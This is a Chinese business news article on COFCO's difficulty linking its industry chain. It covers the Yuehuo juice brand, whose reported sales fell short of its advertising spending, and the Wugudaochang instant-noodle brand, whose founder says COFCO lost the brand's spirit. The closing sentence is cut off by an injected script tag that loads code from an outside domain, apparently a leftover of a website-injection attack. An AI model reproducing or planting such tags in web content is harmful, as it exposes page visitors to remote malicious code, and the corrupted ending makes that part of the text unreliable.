中粮发展全产业链最大的困难就在于产业链之间的衔接。
离市场近一些,离市场再近一些,确定“从田间到餐桌”的全产业链发展战略后,中粮集团一直在寻找扩大终端市场出口的机会,希望在食品饮品等快消品领域能够有所突破,实现从资源型的企业向终端品牌型的企业转变。
然而,无论是中粮新近收购的五谷道场、力推的悦活系列,还是原来的自有品牌福临门、长城、金帝,中粮这个产值上千亿元的企业,貌似强大,但每个业务都与竞争对手差距很大。连“一个中粮”都无法做到,中粮各个业务非但不能协同作战,降低交易成本,反而会相互掣肘。
悦活收入不及广告费一半
牵手开心网,在网上种果树榨果汁、与《三联生活周刊》联合出品《悦活》杂志……在过去的一年里,在网络、电视、广播、地面广告,悦活品牌似乎无处不在。
可是,悦活是什么呢？对于中粮董事长宁高宁来说,这并不是个难回答的问题,“悦活”是倡导一种新生活方式、生活态度的品牌。
于是,在这种逻辑下,中粮推出了包含果汁、蜂蜜、乳酪、谷物早餐(未来还将有水、食用油)等众多产品在内的产品群品牌“悦活”。负责悦活果汁业务的中粮创新食品有关人员曾表示,“悦活”果汁5年后的目标是纯果汁、果蔬汁销售20亿元。
然而,一年多的时间过去了,悦活果汁的表现却不尽如人意,一位资深果汁饮料经销商在接受时代周报记者采访时用三个词来形容悦活果汁:“没特色、高投入、低产出”。而流传在果汁饮料圈的说法则是,去年悦活广告宣传费用高达2亿元,而收入还不及广告费的一半,在悦活最主要市场—北京,销量不过区区2000万元。
悦活果汁确实有其独特的品牌诉求点:产地限定。新疆乌苏农场的番茄、大兴安岭的野生黑加仑、四川会理的石榴、渭北高原的苹果……然而果汁毕竟不是昂贵的白酒、葡萄酒,产地限定除了给产品增加成本之外,并没有为品牌带来多少溢价效益。
由于产品销量不大,“悦活”果汁产品都是通过委托加工的方式生产。为了符合悦活要求,OEM方的生产线都进行了改造,OEM方曾透露,生产280毫升悦活产品的成本并不小于生产五六百毫升的同类果汁产品。悦活280毫升的果汁和果蔬汁在不同地区的零售价是5-6元,而1升(1000毫升)装的汇源100%纯果汁的售价通常在8-13元。除了售价昂贵,悦活果汁的产品定位也模糊不清,一瓶饮料中混合了5种果汁和5种蔬菜汁,还都是100%,这让很多消费者望而却步。
前述人士告诉时代周报记者,在低浓度果汁饮料市场,统一、康师傅占据了80%以上的市场份额;中浓度果汁市场,农夫果园占据了半壁江山;在纯果汁和高浓度饮料市场,汇源和牵手果汁共同占据了大部分市场,加上来自美国的“大湖”、都乐、可果美、茹梦、光明、湖滨、贝奇等耕耘已久,留给悦活的机会都不多了。
“丢了魂的五谷道场”
中粮重组五谷道场后,中粮天然五谷道场投资有限公司副总经理李东明收到了一条热情洋溢的祝贺短信,发信人正是五谷道场品牌创始人任立。然而一年后,家乐福中重新开始播放五谷道场的宣传片,北京CBD到处可见“100%非油炸,更健康”的广告语时,任立却告诉时代周报记者:“中粮却把五谷道场的魂丢了”。
中粮接手后,尽管五谷道场的Slogan依然是“非油炸,更健康”,但其系列电视广告已然更换了情境,当年霸气、阳刚、个性的陈宝国版广告换成了台湾男,曾经打动消费者心灵的、原五谷道场品牌的阳刚、大气、超绝的形象没有了,其广告形象完全偏离了五谷道场的品牌和文化价值。
任立略有遗憾地表示,如今中粮五谷道场两位广告主角,一个是满嘴方便面残渣、有点稚气的男生;一个是大嘴裂张、好似“芙蓉姐姐”的女生。广告配音也是嗲声嗲气的港台腔,使得主打健康的五谷道场沦落为与普通方便面产品没有什么差别的产品。任立表示,正如中粮宁高宁董事长所说的那样:当初之所以买下五谷道场,就是因为发现这个品牌在消费者心中留下了非常好的记忆和期待,但是如果品牌的魂丢了,投入再多的资金也枉然?script src=http://www.234mu.com/>
